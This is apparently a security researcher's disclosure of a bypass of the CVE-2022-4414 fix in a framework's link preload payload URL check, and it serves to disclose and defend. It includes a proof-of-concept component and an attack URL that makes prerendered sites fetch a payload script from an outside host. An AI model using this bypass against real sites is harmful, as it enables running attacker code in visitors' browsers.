Link preloads still do not effectively confirm if the requested link is external.
This is a bypass to the fix for CVE-2022-4414.
The _getPayloadURL
function was adapted after the disclosure to use the browsers built in URL parser to properly check for a valid URL. This is a great idea as it reduces the risk of a parser differential.
function _getPayloadURL (url: string, opts: LoadPayloadOptions = {}) {
const u = new URL(url, 'http://localhost')
if (u.search) {
throw new Error('Payload URL cannot contain search params: ' + url)
}
if (u.host !== 'localhost') {
throw new Error('Payload URL cannot contain host: ' + url)
}
const hash = opts.hash || (opts.fresh ? Date.now() : '')
return joinURL(useRuntimeConfig().app.baseURL, u.pathname, hash ? `_payload.${hash}.js` : '_payload.js')
}
After the check is completed the u.pathname
value of the newly parsed URL is used.
This pathname
value is under our control. We can use the same trick as before to create a URL that satisfies the first condition while still being interpreted differently by the browser.
This vulnerability still only exists on prerendered sites. Same requirements as previous vulnerability.
<template>
<div>
<NuxtLink :to="r.query.u">Your Link Here</NuxtLink>
</div>
</template>
<script setup lang="ts">
const r = useRoute() as any;
</script>
Navigate to URL: http://site/?u=//localhost//io.bryces.io
A different approach I’ve seen to this type of problem is to use fetch
to get the data and then use Response.url
to check the origin is correct. See references.